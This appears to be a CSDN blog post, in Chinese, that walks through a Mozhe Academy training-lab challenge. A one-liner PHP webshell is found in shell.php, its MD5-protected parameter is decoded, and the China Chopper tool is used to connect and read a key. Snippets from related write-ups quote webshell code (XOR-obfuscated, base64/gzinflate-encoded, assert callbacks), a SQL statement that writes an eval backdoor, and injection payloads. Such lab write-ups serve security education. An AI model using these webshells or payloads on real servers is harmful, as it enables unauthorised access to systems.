墨者学院-php分析溯源

最新推荐文章于 2022-12-11 09:53:14 发布
最新推荐文章于 2022-12-11 09:53:14 发布
阅读量344 收藏 3
点赞数 2
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39998158/article/details/100547173
版权

php分析溯源

难易程度:★★
题目类型:代码审计
使用工具:FireFox浏览器、菜刀

1.打开靶场，下载源码。

2.打开文件夹，发现shell.php。
3.打开文件，发现一句话木马。
参数a的值给md5加密了，解密后为1Q2W3E。
3个=为全等，不仅比较值，而且还比较值的类型。
在这里插入图片描述
4.打开菜刀连接，构造url为
http://219.153.49.228:47779/shell.php?a=1Q2W3E，密码为x。
在这里插入图片描述
5.成功连接，在c盘根目录找到key文件，打开获取key。
在这里插入图片描述

JimWu95
关注
  • 2
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
墨者学院 - PHP代码分析溯源(第2题)
多崎巡礼的博客
07-30 1263
根据题干看了好久的php隐式转换。。。 还是毫无头绪。。。 这样的逻辑几乎是无解的。。。 md5(QNKCDZO,32) = 0e830400451993494058024219903391   根据PHP Hash比较存在缺陷 http://www.freebuf.com/news/67007.html 。。。在这道题中，最重要的一句话就是： 根据php的隐式转换可以知道 o...
墨者学院 - PHP代码分析溯源(第1题)
多崎巡礼的博客
07-30 839
1、“^”为异或运算符。在PHP中，两个变量进行异或时，会将字符串转换成二进制再进行异或，异或完，又将结果从二进制转换成了字符串。 2、$_++;这行代码的意思是对变量名为"_"的变量进行自增操作，在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 3、$__=("`"^"?").(":"^"}").("%.
墨者学院-php代码分析溯源
臭nana的博客
12-14 372
打开发现代码是base64+压缩的编码 最简单的方式是将eval变成echo，其他方法 得到echo `$_REQUEST[a]`;; ?> 构造payload:?a=ls，发现key文件   用了ls就明白这是肯定不是在windows系统，所以不能用file_get_contents 两种方法： 1.使用cat不能直接读取出来，但可以查看源代码，在前面加view-...
PHP代码分析溯源(第1题)
mozhe_的博客
05-25 1662
靶场地址：https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe靶场显示一段PHP源码，经分析：1、“^”为异或运算符。在PHP中，两个变量进行异或时，会将字符串转换成二进制再进行异或，异或完，又将结果从二进制转换成了字符串。2、$_++;这行代码的意思是对变量名为"_"的变量进行自增操作，在PHP中...
墨者学院-PHP代码分析溯源(第1题)
JimWu的博客
09-04 379
PHP代码分析溯源(第1题) 难易程度:★ 题目类型:代码审计 使用工具:FireFox浏览器、菜刀 1.访问网页，得到php代码 <?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[...
墨者学院 - WebShell代码分析溯源(第5题)
多崎巡礼的博客
08-02 825
  一个个看，，，找到该文件，经典的回调函数形式 菜刀连接， ip/www/Exception.php?POST=assert 密码为assert 得到key 关于回调函数可参考此文章 https://blog.csdn.net/qq_24196029/article/details/78118680     &lt;?php error_reporting(0); call...
墨者学院-phpMyAdmin后台文件包含分析溯源
qq_47094508的博客
07-01 1321
首先拿到题目到点击访问访问后使用弱口令进行登陆，如登陆失败开启隐私模式或者更换浏览器账户密码：root root点击sql模块 对sql语句进行一个查询首先查询sql写一句话的权限我们可以看到他的值为空secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。 继续查看mysql安装的绝对路径，可以发现他是安装在/var/lib/mysql/ 接下来确认一下mysql权限，可以看到这里是最高权限r
墨者学院 - WebShell代码分析溯源(第11题)
多崎巡礼的博客
08-06 725
&lt;?php  if(!empty($_GET[1]) &amp;&amp; $_GET[1]=='GET.fPZ87'){                     //若get到的1不为空且1=GET.fPZ87的话执行下面操作     $_=@fopen('t.php', 'a');                                                      ...
墨者学院 - WebShell代码分析溯源(第4题)
多崎巡礼的博客
08-02 697
唉让我如此信任的工具在这道题上栽了跟头。。。嗯，以后的结果仅供参考。   下载源代码，在hack文件夹下发现bin.php 打开分析代码得知其为php回调函数类一句话木马 且获得其密码，通过菜刀连接 菜刀连接http://219.153.49.228:42394/www/hack/bin.php?e=YXNzZXJ0 密码为POST array_filter()函数用回调函数过...
墨者学院 - PHP代码分析溯源(第3题)
多崎巡礼的博客
08-03 672
在for 循环中是判断输入的字符是否有存在在1和9之间的数字 如果不存在判断是否等于54975581388 等于则绕过 即 又不能等于数字1-9又要等于54975581388 但是这里在比较的时候就是用弱类型的，所以不要求完全一致。 php在转码时会把16进制转化为十进制.于是把54975581388转化成16进制0xccccccccc 键入 0xccccccccc 输入得到key...
墨者PHP代码分析溯源(第4题)题解
zr1213159840的博客
01-16 628
首先打开页面，有个提示，而且还有段代码 仔细看下这段代码 <?php eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&))); ?> 能看出来首先是一段字符进行了解码，通过末尾的等于能看出来这是一段base64的解码，然后再使用前面的gzinflate函数执行了一次。gzinflate函数通过查询看是对数据进行了压缩，那么这段代码的含义就是对后面的字符串先解密然后压缩。我们直接对ev
墨者学院-PHP代码分析溯源(第3题)
JimWu的博客
09-04 277
PHP代码分析溯源(第3题) 难易程度:★★ 题目类型:代码审计 使用工具:FireFox浏览器、记事本 1.打开靶场，下载网页源代码。 2.用文本打开源代码，分析源代码找出密码。 ①我们分析后，发现当密码小于等于9和大于等于1时，都会返回false。 所以我们可以知道密码应该不是数字，而是英文字母。 ②当我们看到return $number == '54975581388’时，我们知道在php...
墨者 - PHP代码分析溯源(第1题)
吃肉唐僧的博客
07-12 602
进入环境，发现是php源码 用在线php代码调试工具调试（要用echo输出，将${$__}[!$_](${$___}[$_]);删掉，否则报错） 结合输出，${$__}[!$_](${$___}[$_]); 的意思大概是 <?php $_GET[0]($_POST[1])?> 这是php一句话木马的变种 其他更多变种参考：https://blog.csdn.net/x...
墨者学院 PHP代码分析溯源(第4题) 详解
永远是少年
12-11 762
今天继续给大家介绍CTF通关writeup，本文主要内容是墨者学院 PHP代码分析溯源(第4题)。 一、题目简介 二、破解源码 三、命令执行拿到key
墨者学院PHP,墨者学院SQL注入解题
weixin_32541907的博客
03-22 123
一·判断注入输入id=1，正常返回。输入id=-1返回错误。由 此可知存在注入。二·判断字段URL id=-1 order by 1URL id=-1 order by 2URL id=-1 order by 3URL id=-1 order by 4URL id=-1 order by 5 此时报错，说明有四个字段三·使用union查询注入点输入union select 1，2，3，4发现2，3...
墨者学院 - PHP代码分析溯源(第4题)
多崎巡礼的博客
08-05 1100
打开发现提示key在根目录，且给出代码 &lt;?php eval(gzinflate(base64_decode(&amp;40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&amp;))); ?&gt;  这是base64加密+压缩的编码 简单方法就是直接把eval改成echo输出 执行&lt;?php echo(gzinflate(base64_decode(‘...
墨者学院-入门级-phpMyAdmin后台文件包含分析溯源-小白必看（超详细）
kitiu666的博客
01-26 1323
2021年1月26日，第六次渗透测试。 实在抱歉，因为工作原因许久没有更新测试，期间生活也发生了很多事，现在心情也不怎么好，但也尽量讲细一点吧，开干！ 准备需求： 1、win10系统； 2、中国菜刀； 1、进入靶场 账号：root 密码：root 这个账号密码都是看其他的教程知道的，至于怎样破解出来不知道，能力有限，过后我看看怎么来的吧。（如果了解再回来追跟）； 2、进入到后台，到SQL页面，在控制台下输入以下命令，然后点击执行； select ‘<?php eval($_POST[key
【墨者学院writeup】WebShell文件上传漏洞分析溯源(第2题)题目思路
iqiqiya的博客
05-23 1749
这道题直接改后缀名先上传 burpsuit截包  再改回.php即可成功上传webshell前提记得设置浏览器设置代理127.0.0.1:8080   打开burpsuit将.jpg改成.php   点击forward即可上传成功然后菜刀链接即可得到KEY...
墨者学院sql注入 x-f
最新发布
07-27
墨者学院SQL注入是一种常见的Web应用程序安全漏洞，攻击者通过在输入字段中插入恶意的SQL代码来实现对数据库的非授权访问。X-F是HTTP请求头部的一个字段，通常用于传递客户端IP地址或其他相关信息。在某些情况下，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值